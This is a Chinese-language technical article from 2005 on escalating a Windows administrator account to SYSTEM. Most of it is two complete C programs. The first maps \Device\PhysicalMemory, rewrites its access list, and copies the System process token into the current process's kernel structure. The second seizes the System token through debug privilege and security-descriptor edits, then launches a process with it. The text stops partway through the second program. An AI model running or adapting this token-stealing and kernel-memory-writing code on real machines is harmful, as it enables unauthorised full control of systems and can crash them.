管理员组获取系统权限的完美解决方案

管理员组获取系统权限的完美解决方案

BY zwell
2005-4-28

关于管理员组(administrators)获取系统(SYSTEM)权限的方法其实已经有很多种了.
小四哥就提到了一些:MSDN系列(3)--Administrator用户直接获取SYSTEM权限和远程线程注入版获取SYSTEM权限.
这里,我先踩在前辈的肩上列一些可行的方法:

1. 利用ZwCreateToken()自己创建一个SYSTEM令牌(Token)
2. HOOK掉创建进程的函数ZwCreateProcess(Ex),用winlogon ID 创建
3. 远线程插入,插入线程到系统进程,创建一新进程

这上面三种方法都是scz提到的,也存在一些问题.其实除此这外,我们还可以:
4. 将程序做成服务,带参数运行新进程

做为服务来讲就是SYSTEM了,再创建的进程也是SYSTEM权限.

当然,这里我都不会用到上面提到的方法.因为网上都能找到现成的实现代码.而且考虑一些复杂性以及存在的一些问题都不是很好的解决方案.

这里,我拿出两种新的方案来实现该功能:

第一种方法.我们先来看一下系统是如何进行权限检测的,
举个例子,在调用了OpenProcessToken,我们知道会进行权限的验证:
OpenProcessToken->NtOpenProcessToken->PsOpenTokenOfProcess->PsReferencePrimaryToken->找到这一句Token = Process->Token;
|->ObOpenObjectByPointer调用上面返回的TOKEN进行检查

也就是说,系统在检测权限时仅仅通过从进程的EPROCESS结构种拿出Token项进行操作.因此我们不需要继续往ObOpenObjectByPointer里面跟进了。
思路已经很明显:直接将System进程的Token拿过来,放到我们进程的Token位置。那么系统就认为我们是SYSTEM权限.
而这时我们的进程创建的子进程也就是SYSTEM权限了。(以上分析过程请参考WINDOWS源代码...^_^)

实现代码:
===========================================================================================================
#include<windows.h>
#include<stdio.h>
#include<Accctrl.h>
#include<Aclapi.h>

#define TOKEN_OFFSET 0xc8 //In windows 2003, it's 0xc8, if others' version, change it
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)

typedef LONG NTSTATUS;
typedef struct _IO_STATUS_BLOCK
{
NTSTATUS Status;
ULONG Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

#define OBJ_INHERIT 0x00000002L
#define OBJ_PERMANENT 0x00000010L
#define OBJ_EXCLUSIVE 0x00000020L
#define OBJ_CASE_INSENSITIVE 0x00000040L
#define OBJ_OPENIF 0x00000080L
#define OBJ_OPENLINK 0x00000100L
#define OBJ_KERNEL_HANDLE 0x00000200L
#define OBJ_VALID_ATTRIBUTES 0x000003F2L

typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

typedef struct _SYSTEM_MODULE_INFORMATION
{
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef enum _SYSTEM_INFORMATION_CLASS
{
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemNotImplemented1,
SystemProcessesAndThreadsInformation,
SystemCallCounts,
SystemConfigurationInformation,
SystemProcessorTimes,
SystemGlobalFlag,
SystemNotImplemented2,
SystemModuleInformation,
SystemLockInformation,
SystemNotImplemented3,
SystemNotImplemented4,
SystemNotImplemented5,
SystemHandleInformation,
SystemObjectInformation,
SystemPagefileInformation,
SystemInstructionEmulationCounts,
SystemInvalidInfoClass1,
SystemCacheInformation,
SystemPoolTagInformation,
SystemProcessorStatistics,
SystemDpcInformation,
SystemNotImplemented6,
SystemLoadImage,
SystemUnloadImage,
SystemTimeAdjustment,
SystemNotImplemented7,
SystemNotImplemented8,
SystemNotImplemented9,
SystemCrashDumpInformation,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegistryQuotaInformation,
SystemLoadAndCallImage,
SystemPrioritySeparation,
SystemNotImplemented10,
SystemNotImplemented11,
SystemInvalidInfoClass2,
SystemInvalidInfoClass3,
SystemTimeZoneInformation,
SystemLookasideInformation,
SystemSetTimeSlipEvent,
SystemCreateSession,
SystemDeleteSession,
SystemInvalidInfoClass4,
SystemRangeStartInformation,
SystemVerifierInformation,
SystemAddVerifier,
SystemSessionProcessesInformation
} SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION )
(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL
);

typedef NTSTATUS (CALLBACK* ZWOPENSECTION)(
OUT PHANDLE SectionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);

typedef VOID (CALLBACK* RTLINITUNICODESTRING)(
IN OUT PUNICODE_STRING DestinationString,
IN PCWSTR SourceString
);

typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG ProcessId;
UCHAR ObjectTypeNumber;
UCHAR Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

RTLINITUNICODESTRING RtlInitUnicodeString;
ZWOPENSECTION ZwOpenSection;
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;
HMODULE g_hNtDLL = NULL;
PVOID g_pMapPhysicalMemory = NULL;
HANDLE g_hMPM = NULL;

BOOL InitNTDLL()
{
g_hNtDLL = LoadLibrary( "ntdll.dll" );
if ( !g_hNtDLL )
{
return FALSE;
}

RtlInitUnicodeString =
(RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL, "RtlInitUnicodeString");

ZwOpenSection =
(ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection");

ZwQuerySystemInformation =
( ZWQUERYSYSTEMINFORMATION )GetProcAddress( g_hNtDLL, "ZwQuerySystemInformation" );

ZwQuerySystemInformation =
( ZWQUERYSYSTEMINFORMATION )GetProcAddress( g_hNtDLL, "ZwQuerySystemInformation" );

return TRUE;
}

VOID CloseNTDLL()
{
if(g_hNtDLL != NULL)
{
FreeLibrary(g_hNtDLL);
}
}

VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection)
{

PACL pDacl=NULL;
PACL pNewDacl=NULL;
PSECURITY_DESCRIPTOR pSD=NULL;
DWORD dwRes;
EXPLICIT_ACCESS ea;

if(dwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,
NULL,NULL,&pDacl,NULL,&pSD)!=ERROR_SUCCESS)
{
goto CleanUp;
}

ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
ea.grfAccessPermissions = SECTION_MAP_WRITE;
ea.grfAccessMode = GRANT_ACCESS;
ea.grfInheritance= NO_INHERITANCE;
ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
ea.Trustee.ptstrName = "CURRENT_USER";


if(dwRes=SetEntriesInAcl(1,&ea,pDacl,&pNewDacl)!=ERROR_SUCCESS)
{
goto CleanUp;
}

if(dwRes=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL)!=ERROR_SUCCESS)
{
goto CleanUp;
}

CleanUp:

if(pSD)
LocalFree(pSD);
if(pNewDacl)
LocalFree(pNewDacl);
}

HANDLE OpenPhysicalMemory()
{
NTSTATUS status;
UNICODE_STRING physmemString;
OBJECT_ATTRIBUTES attributes;

RtlInitUnicodeString( &physmemString, L"\\Device\\PhysicalMemory" );

attributes.Length = sizeof(OBJECT_ATTRIBUTES);
attributes.RootDirectory = NULL;
attributes.ObjectName = &physmemString;
attributes.Attributes = 0;
attributes.SecurityDescriptor = NULL;
attributes.SecurityQualityOfService = NULL;

status = ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);

if(status == STATUS_ACCESS_DENIED){
status = ZwOpenSection(&g_hMPM,READ_CONTROL|WRITE_DAC,&attributes);
SetPhyscialMemorySectionCanBeWrited(g_hMPM);
CloseHandle(g_hMPM);
status =ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);
}

if( !NT_SUCCESS( status ))
{
return NULL;
}

g_pMapPhysicalMemory = MapViewOfFile(
g_hMPM,
4,
0,
0x30000,
0x1000);
if( g_pMapPhysicalMemory == NULL )
{
return NULL;
}

return g_hMPM;
}

PVOID LinearToPhys(PULONG BaseAddress,PVOID addr)
{
ULONG VAddr=(ULONG)addr,PGDE,PTE,PAddr;
if(VAddr>=0x80000000 && VAddr<0xa0000000)
{
PAddr=VAddr-0x80000000;
return (PVOID)PAddr;
}
PGDE=BaseAddress[VAddr>>22];
if ((PGDE&1)!=0)
{
ULONG tmp=PGDE&0x00000080;
if (tmp!=0)
{
PAddr=(PGDE&0xFFC00000)+(VAddr&0x003FFFFF);
}
else
{
PGDE=(ULONG)MapViewOfFile(g_hMPM, FILE_MAP_ALL_ACCESS, 0, PGDE & 0xfffff000, 0x1000);
PTE=((PULONG)PGDE)[(VAddr&0x003FF000)>>12];
if ((PTE&1)!=0)
{
PAddr=(PTE&0xFFFFF000)+(VAddr&0x00000FFF);
UnmapViewOfFile((PVOID)PGDE);
}
else return 0;
}
}
else return 0;

return (PVOID)PAddr;
}

ULONG GetData(PVOID addr)
{
ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);
PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, 4, 0, phys & 0xfffff000, 0x1000);
if (tmp==0)
return 0;
ULONG ret=tmp[(phys & 0xFFF)>>2];
UnmapViewOfFile(tmp);
return ret;
}

BOOL SetData(PVOID addr,ULONG data)
{
ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);
PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0x1000);
if (tmp==0)
return FALSE;
tmp[(phys & 0xFFF)>>2]=data;
UnmapViewOfFile(tmp);
return TRUE;
}

DWORD MyGetModuleBaseAddress( char * pModuleName)
{
PSYSTEM_MODULE_INFORMATION pSysModule;

ULONG uReturn;
ULONG uCount;
PCHAR pBuffer = NULL;
PCHAR pName = NULL;
NTSTATUS status;
UINT ui;
CHAR szBuffer[10];
DWORD pBaseAddress;

status = ZwQuerySystemInformation( SystemModuleInformation, szBuffer, 10, &uReturn );
pBuffer = ( PCHAR )malloc(uReturn);
if ( pBuffer )
{
status = ZwQuerySystemInformation( SystemModuleInformation, pBuffer, uReturn, &uReturn );
if( NT_SUCCESS(status) )
{
uCount = ( ULONG )*( ( ULONG * )pBuffer );
pSysModule = ( PSYSTEM_MODULE_INFORMATION )( pBuffer + sizeof( ULONG ) );
for ( ui = 0; ui < uCount; ui++ )
{
pName = strstr( pSysModule->ImageName, pModuleName );
if( pName )
{
pBaseAddress = (DWORD)pSysModule->Base;
free( pBuffer );
return pBaseAddress;
}
pSysModule ++;
}
}

free( pBuffer );
}

return NULL;
}

DWORD GetEprocessFromId (DWORD PID)
{
NTSTATUS status;
PVOID buf = NULL;
ULONG size = 1;
ULONG NumOfHandle = 0;
ULONG i;
PSYSTEM_HANDLE_INFORMATION h_info = NULL;
DWORD n;
DWORD retvalue=0;

buf=malloc(0x1000);
if(buf == NULL)
{
printf("malloc wrong\n");
return FALSE;
}
status = ZwQuerySystemInformation( SystemHandleInformation, buf, 0x1000, &n );
if(STATUS_INFO_LENGTH_MISMATCH == status)
{
free(buf);
buf=malloc(n);
if(buf == NULL)
{
printf("malloc wrong\n");
return FALSE;
}
status = ZwQuerySystemInformation( SystemHandleInformation, buf, n, NULL);
}
else
{
printf("ZwQuerySystemInformation wrong\n");
return FALSE;
}

NumOfHandle = *(ULONG*)buf;

h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);

for(i = 0; i<NumOfHandle ;i++)
{
if( h_info[i].ProcessId == PID &&( h_info[i].ObjectTypeNumber == 5 ))
{
retvalue=(DWORD)(h_info[i].Object);
break;
}
}

if ( buf != NULL )
{
free( buf );
}
return retvalue;
}

void usage(char *exe)
{
printf("Usage : %s [exefile|-h]\n");
}

int main(int argc, char **argv)
{
HMODULE hDll;
DWORD tmp;
DWORD SystemEprocess;
DWORD SystemEprocessTokenValue;
DWORD CurrentEprocess;
DWORD CurrentEprocessTokenValue;

printf("\nIt is intended to get SYSTEM privilege from administrators group.\n");
printf("\tMade by ZwelL.\n");
printf("\tZwell@sohu.com.\n");
printf("\thttp://www.donews.net/zwell.\n");
printf("\tType -h to get more information\n", argv[0]);

if( argc>=2)
{
if(
( (strcmp(argv[1],"-h")==0) && (argc==2))
|| (argc>2)
)
{
usage(argv[0]);
exit(-1);
}
}

if (!InitNTDLL())
{
printf("InitNTDLL wrong\n");
exit(-1);
}

if (OpenPhysicalMemory()==0)
{
printf("OpenPhysicalMemory wrong\n");
exit(-1);
}

hDll = LoadLibrary("ntoskrnl.exe");
tmp = (DWORD)GetProcAddress(hDll, "PsInitialSystemProcess");
tmp=MyGetModuleBaseAddress("ntoskrnl.exe")+(DWORD)tmp-(DWORD)hDll;
SystemEprocess=GetData((PVOID)tmp);
tmp=SystemEprocess+TOKEN_OFFSET; //SYSTEM's Token address
SystemEprocessTokenValue=GetData((PVOID)tmp); //SYSTEM's Token
printf("System Process Token : 0x%08X\n", SystemEprocessTokenValue);

OpenProcess( PROCESS_ALL_ACCESS,FALSE,GetCurrentProcessId() );
CurrentEprocess = GetEprocessFromId(GetCurrentProcessId());
CurrentEprocessTokenValue = GetData((PVOID)(CurrentEprocess+TOKEN_OFFSET));

printf("Current EPROCESS : %08x\n", CurrentEprocess);
printf("Current Process Token : %08x\nPress ENTER to continue...\n",
CurrentEprocessTokenValue);
//getchar();
SetData((PVOID)(GetEprocessFromId(GetCurrentProcessId())+TOKEN_OFFSET), SystemEprocessTokenValue);
printf("Current Process Token : %08x\n",
GetData((PVOID)(GetEprocessFromId(GetCurrentProcessId())+TOKEN_OFFSET)));
printf("Press ENTER to create process...\n");
//getchar();

if( GetData((PVOID)(CurrentEprocess+TOKEN_OFFSET))
== GetData((PVOID)(SystemEprocess+TOKEN_OFFSET))
)
// It is so surprised that SYSTEM's Token always in changing.
// So before create new process, we should ensure the TOKEN is all right
{
ShellExecute(NULL, "open", (argc==2)?argv[1]:"c:\\windows\\regedit.exe", NULL, NULL, SW_SHOWNORMAL);
}
UnmapViewOfFile(g_pMapPhysicalMemory);
CloseHandle(g_hMPM);
CloseNTDLL();

return 0;
}

在上面的代码中,请将TOKEN_OFFSET改成你的系统版本的偏移值.我们也可以想像到由于是操作了系统的内核空间,搞不好会出现蓝屏现象(尽管机率很小).

=========================================================================================================
第二种方法,我们不自己创建进程,而是直接用System进程的Token来创建进程.看到这,大家可能又想到了远线程。
这里不是。我的思路是:配置好桌面(desktop),工作区间(WindowStation)等信息,最后调用CreateProcessAsUser来创建子进程。
用这种方法极为稳定。这里一些关于获取SID的代码可以看我前一段时间写的"一种新的穿透防火墙的数据传输技术".

下面是源代码,这段代码也实现了RUNAS的功能,有兴趣可以研究一下,大部分都来自MSDN:

#include <windows.h>
#include <stdio.h>
#include <Tlhelp32.h>
#include <AccCtrl.h>
#include <Aclapi.h>
#include <wtsapi32.h>

#pragma comment(lib, "wtsapi32")

HANDLE OpenSystemProcess()
{
HANDLE hSnapshot = NULL;
HANDLE hProc = NULL;

__try
{
// Get a snapshot of the processes in the system
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == NULL)
{
printf("OpenSystemProcess CreateToolhelp32Snapshot Failed");
__leave;
}

PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);

// Find the "System" process
BOOL fProcess = Process32First(hSnapshot, &pe32);
while (fProcess && (lstrcmpi(pe32.szExeFile, TEXT("SYSTEM")) != 0))
fProcess = Process32Next(hSnapshot, &pe32);
if (!fProcess)
{
printf("OpenSystemProcess Not Found SYSTEM");
__leave; // Didn't find "System" process
}

// Open the process with PROCESS_QUERY_INFORMATION access
hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE,
pe32.th32ProcessID);
if (hProc == NULL)
{
printf("OpenSystemProcess OpenProcess Failed");
__leave;
}
}
__finally
{
// Cleanup the snapshot
if (hSnapshot != NULL)
CloseHandle(hSnapshot);
return(hProc);
}
}

BOOL EnablePrivilege (PCSTR name)
{
HANDLE hToken;
BOOL rv;

TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
LookupPrivilegeValue (
0,
name,
&priv.Privileges[0].Luid
);

OpenProcessToken(
GetCurrentProcess (),
TOKEN_ADJUST_PRIVILEGES,
&hToken
);

AdjustTokenPrivileges (
hToken,
FALSE,
&priv,
sizeof priv,
0,
0
);
rv = GetLastError () == ERROR_SUCCESS;

CloseHandle (hToken);
return rv;
}

#define chDIMOF(Array) (sizeof(Array) / sizeof(Array[0]))

BOOL ModifySecurity(HANDLE hProc, DWORD dwAccess)
{
PACL pAcl = NULL;
PACL pNewAcl = NULL;
PACL pSacl = NULL;
PSID pSidOwner = NULL;
PSID pSidPrimary = NULL;
BOOL fSuccess = TRUE;

PSECURITY_DESCRIPTOR pSD = NULL;

__try
{
// Find the length of the security object for the kernel object
DWORD dwSDLength;
if (GetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pSD, 0,
&dwSDLength) || (GetLastError() != ERROR_INSUFFICIENT_BUFFER))
{
printf("ModifySecurity GetKernelObjectSecurity Size Failed");
__leave;
}

// Allocate a buffer of that length
pSD = LocalAlloc(LPTR, dwSDLength);
if (pSD == NULL)
{
printf("ModifySecurity LocalAlloc Failed");
__leave;
}

// Retrieve the kernel object
if (!GetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pSD,
dwSDLength, &dwSDLength))
{
printf("ModifySecurity GetKernelObjectSecurity Failed");
__leave;
}

// Get a pointer to the DACL of the SD
BOOL fDaclPresent;
BOOL fDaclDefaulted;
if (!GetSecurityDescriptorDacl(pSD, &fDaclPresent, &pAcl,
&fDaclDefaulted))
{
printf("ModifySecurity GetSecurityDescriptorDacl Failed");
__leave;
}

// Get the current user's name
TCHAR szName[1024];
DWORD dwLen = chDIMOF(szName);
if (!GetUserName(szName, &dwLen))
{
printf("ModifySecurity GetUserName Failed");
__leave;
}

// Build an EXPLICIT_ACCESS structure for the ace we wish to add.
EXPLICIT_ACCESS ea;
BuildExplicitAccessWithName(&ea, szName, dwAccess, GRANT_ACCESS, 0);
ea.Trustee.TrusteeType = TRUSTEE_IS_USER;

// We are allocating a new ACL with a new ace inserted. The new
// ACL must be LocalFree'd
if(ERROR_SUCCESS != SetEntriesInAcl(1, &ea, pAcl, &pNewAcl))
{
printf("ModifySecurity SetEntriesInAcl Failed");
pNewAcl = NULL;
__leave;
}

// Find the buffer sizes we would need to make our SD absolute
pAcl = NULL;
dwSDLength = 0;
DWORD dwAclSize = 0;
DWORD dwSaclSize = 0;
DWORD dwSidOwnLen = 0;
DWORD dwSidPrimLen = 0;
PSECURITY_DESCRIPTOR pAbsSD = NULL;
if(MakeAbsoluteSD(pSD, pAbsSD, &dwSDLength, pAcl, &dwAclSize, pSacl,
&dwSaclSize, pSidOwner, &dwSidOwnLen, pSidPrimary, &dwSidPrimLen)
|| (GetLastError() != ERROR_INSUFFICIENT_BUFFER))
{
printf("ModifySecurity MakeAbsoluteSD Size Failed");
__leave;
}

// Allocate the buffers
pAcl = (PACL) LocalAlloc(LPTR, dwAclSize);
pSacl = (PACL) LocalAlloc(LPTR, dwSaclSize);
pSidOwner = (PSID) LocalAlloc(LPTR, dwSidOwnLen);
pSidPrimary = (PSID) LocalAlloc(LPTR, dwSidPrimLen);
pAbsSD = (PSECURITY_DESCRIPTOR) LocalAlloc(LPTR, dwSDLength);
if(!(pAcl && pSacl && pSidOwner && pSidPrimary && pAbsSD))
{
printf("ModifySecurity Invalid SID Found");
__leave;
}

// And actually make our SD absolute
if(!MakeAbsoluteSD(pSD, pAbsSD, &dwSDLength, pAcl, &dwAclSize, pSacl,
&dwSaclSize, pSidOwner, &dwSidOwnLen, pSidPrimary, &dwSidPrimLen))
{
printf("ModifySecurity MakeAbsoluteSD Failed");
__leave;
}

// Now set the security descriptor DACL
if(!SetSecurityDescriptorDacl(pAbsSD, fDaclPresent, pNewAcl,
fDaclDefaulted))
{
printf("ModifySecurity SetSecurityDescriptorDacl Failed");
__leave;
}

// And set the security for the object
if(!SetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pAbsSD))
{
printf("ModifySecurity SetKernelObjectSecurity Failed");
__leave;
}

fSuccess = TRUE;

}
__finally
{
// Cleanup
if (pNewAcl == NULL)
LocalFree(pNewAcl);

if (pSD == NULL)
LocalFree(pSD);

if (pAcl == NULL)
LocalFree(pAcl);

if (pSacl == NULL)
LocalFree(pSacl);

if (pSidOwner == NULL)
LocalFree(pSidOwner);

if (pSidPrimary == NULL)
LocalFree(pSidPrimary);

if(!fSuccess)
{
printf("ModifySecurity exception caught in __finally");
}

return(fSuccess);
}
}

HANDLE GetLSAToken()
{
HANDLE hProc = NULL;
HANDLE hToken = NULL;
BOOL bSuccess = FALSE;
__try
{
// Enable the SE_DEBUG_NAME privilege in our process token
if (!EnablePrivilege(SE_DEBUG_NAME))
{
printf("GetLSAToken EnablePrivilege Failed");
__leave;
}

// Retrieve a handle to the "System" process
hProc = OpenSystemProcess();
if(hProc == NULL)
{
printf("GetLSAToken OpenSystemProcess Failed");
__leave;
}

// Open the process token with READ_CONTROL and WRITE_DAC access. We
// will use this access to modify the security of the token so that we
// retrieve it again with a more complete set of rights.
BOOL fResult = OpenProcessToken(hProc, READ_CONTROL | WRITE_DAC,
&hToken);
if(FALSE == fResult)
{
printf("GetLSAToken OpenProcessToken Failed");
__leave;
}

// Add an ace for the current user for the token. This ace will add
// TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY rights.
if (!ModifySecurity(hToken, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY
| TOKEN_QUERY | TOKEN_ADJUST_SESSIONID))
{
printf("GetLSAToken ModifySecurity Failed");
__leave;
}

// Reopen the process token now that we have added the rights to
// query the token, duplicate it, and assign it.
fResult = OpenProcessToken(hProc, TOKEN_QUERY | TOKEN_DUPLICATE
| TOKEN_ASSIGN_PRIMARY | READ_CONTROL | WRITE_DAC, &hToken);
if (FALSE == fResult)
{
printf("GetLSAToken OpenProcessToken Failed");
__leave;
}
bSuccess = TRUE;
}
__finally
{
// Close the System process handle
if (hProc != NULL) CloseHandle(hProc);
if(bSuccess)
return hToken;
else
{
::CloseHandle(hToken);
return NULL;
}
}
}

#define DESKTOP_ALL (DESKTOP_READOBJECTS | DESKTOP_CREATEWINDOW | DESKTOP_CREATEMENU | DESKTOP_HOOKCONTROL | \
DESKTOP_JOURNALRECORD | DESKTOP_JOURNALPLAYBACK | \
DESKTOP_ENUMERATE | DESKTOP_WRITEOBJECTS | \
DESKTOP_SWITCHDESKTOP | STANDARD_RIGHTS_REQUIRED)

#define WINSTA_ALL (WINSTA_ENUMDESKTOPS | WINSTA_READATTRIBUTES | \
WINSTA_ACCESSCLIPBOARD | WINSTA_CREATEDESKTOP | \
WINSTA_WRITEATTRIBUTES | WINSTA_ACCESSGLOBALATOMS | \
WINSTA_EXITWINDOWS | WINSTA_ENUMERATE | \
WINSTA_READSCREEN | \
STANDARD_RIGHTS_REQUIRED)

#define GENERIC_ACCESS (GENERIC_READ | GENERIC_WRITE | GENERIC_EXECUTE | GENERIC_ALL)

BOOL AddAceToWindowStation(HWINSTA hwinsta, PSID psid);

BOOL AddAceToDesktop(HDESK hdesk, PSID psid);

BOOL GetLogonSID(HANDLE hToken, PSID *ppsid)
{
PWTS_PROCESS_INFO pProcessInfo = NULL;
DWORD ProcessCount = 0;
BOOL ret=FALSE;

if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount))
{
// dump each process description
for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++)
{

if( strcmp(pProcessInfo[CurrentProcess].pProcessName, "System") == 0 )
{
//*ppsid = pProcessInfo[CurrentProcess].pUserSid;
DWORD dwLength = GetLengthSid(pProcessInfo[CurrentProcess].pUserSid);
*ppsid = (PSID) HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, dwLength);
if (*ppsid == NULL)
break;
if (!CopySid(dwLength, *ppsid, pProcessInfo[CurrentProcess].pUserSid))
{
HeapFree(GetProcessHeap(), 0, (LPVOID)*ppsid);
break;
}
ret=TRUE;
break;
}
}

WTSFreeMemory(pProcessInfo);
}

return ret;
}

BOOL GetLogonSID_1 (HANDLE hToken, PSID *ppsid)
{
BOOL bSuccess = FALSE;
DWORD dwIndex;
DWORD dwLength = 0;
PTOKEN_GROUPS ptg = NULL;

// Verify the parameter passed in is not NULL.
if (NULL == ppsid)
goto Cleanup;

// Get required buffer size and allocate the TOKEN_GROUPS buffer.

if (!GetTokenInformation(
hToken, // handle to the access token
TokenGroups, // get information about the token's groups
(LPVOID) ptg, // pointer to TOKEN_GROUPS buffer
0, // size of buffer
&dwLength // receives required buffer size
))
{
if (GetLastError() != ERROR_INSUFFICIENT_BUFFER)
goto Cleanup;

ptg = (PTOKEN_GROUPS)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, dwLength);

if (ptg == NULL)
goto Cleanup;
}


// Get the token group information from the access token.

if (!GetTokenInformation(
hToken, // handle to the access token
TokenGroups, // get information about the token's groups
(LPVOID) ptg, // pointer to TOKEN_GROUPS buffer
dwLength, // size of buffer
&dwLength // receives required buffer size
))
{
goto Cleanup;
}

// Loop through the groups to find the logon SID.

for (dwIndex = 0; dwIndex < ptg->GroupCount; dwIndex++)
if ((ptg->Groups[dwIndex].Attributes & SE_GROUP_LOGON_ID)
== SE_GROUP_LOGON_ID)
{
// Found the logon SID; make a copy of it.

dwLength = GetLengthSid(ptg->Groups[dwIndex].Sid);
*ppsid = (PSID) HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, dwLength);
if (*ppsid == NULL)
goto Cleanup;
if (!CopySid(dwLength, *ppsid, ptg->Groups[dwIndex].Sid))
{
HeapFree(GetProcessHeap(), 0, (LPVOID)*ppsid);
goto Cleanup;
}
break;
}

bSuccess = TRUE;

Cleanup:

// Free the buffer for the token groups.

if (ptg != NULL)
HeapFree(GetProcessHeap(), 0, (LPVOID)ptg);

return bSuccess;
}


VOID FreeLogonSID (PSID *ppsid)
{
HeapFree(GetProcessHeap(), 0, (LPVOID)*ppsid);
}


BOOL StartInteractiveClientProcess (
LPTSTR lpszUsername, // client to log on
LPTSTR lpszDomain, // domain of client's account
LPTSTR lpszPassword, // client's password
LPTSTR lpCommandLine, // command line to execute
HANDLE Token = NULL
)
{
HANDLE hToken;
HDESK hdesk = NULL;
HWINSTA hwinsta = NULL, hwinstaSave = NULL;
PROCESS_INFORMATION pi;
PSID pSid = NULL;
STARTUPINFO si;
BOOL bResult = FALSE;

// Log the client on to the local computer.

if(Token!=NULL)
{
printf("%08x\n", Token);
hToken = Token;
}
else if (!LogonUser(
lpszUsername,
lpszDomain,
lpszPassword,
LOGON32_LOGON_INTERACTIVE,
LOGON32_PROVIDER_DEFAULT,
&hToken) )
{
goto Cleanup;
}

// Save a handle to the caller's current window station.

if ( (hwinstaSave = GetProcessWindowStation() ) == NULL)
goto Cleanup;

// Get a handle to the interactive window station.

hwinsta = OpenWindowStation(
"winsta0", // the interactive window station
FALSE, // handle is not inheritable
READ_CONTROL | WRITE_DAC); // rights to read/write the DACL

if (hwinsta == NULL)
goto Cleanup;

// To get the correct default desktop, set the caller's
// window station to the interactive window station.

if (!SetProcessWindowStation(hwinsta))
goto Cleanup;

// Get a handle to the interactive desktop.

hdesk = OpenDesktop(
"default", // the interactive window station
0, // no interaction with other desktop processes
FALSE, // handle is not inheritable
READ_CONTROL | // request the rights to read and write the DACL
WRITE_DAC |
DESKTOP_WRITEOBJECTS |
DESKTOP_READOBJECTS);

// Restore the caller's window station.

if (!SetProcessWindowStation(hwinstaSave))
goto Cleanup;

if (hdesk == NULL)
goto Cleanup;

// Get the SID for the client's logon session.

if (!GetLogonSID(hToken, &pSid))
goto Cleanup;

// Allow logon SID full access to interactive window station.

if (! AddAceToWindowStation(hwinsta, pSid) )
goto Cleanup;

// Allow logon SID full access to interactive desktop.

if (! AddAceToDesktop(hdesk, pSid) )
goto Cleanup;

// Impersonate client to ensure access to executable file.

if (! ImpersonateLoggedOnUser(hToken) )
goto Cleanup;

// Initialize the STARTUPINFO structure.
// Specify that the process runs in the interactive desktop.

ZeroMemory(&si, sizeof(STARTUPINFO));
si.cb= sizeof(STARTUPINFO);
si.lpDesktop = TEXT("winsta0\\default"); //You can use EnumWindowStations to enum desktop

// Launch the process in the client's logon session.

bResult = CreateProcessAsUser(
hToken, // client's access token
NULL, // file to execute
lpCommandLine, // command line
NULL, // pointer to process SECURITY_ATTRIBUTES
NULL, // pointer to thread SECURITY_ATTRIBUTES
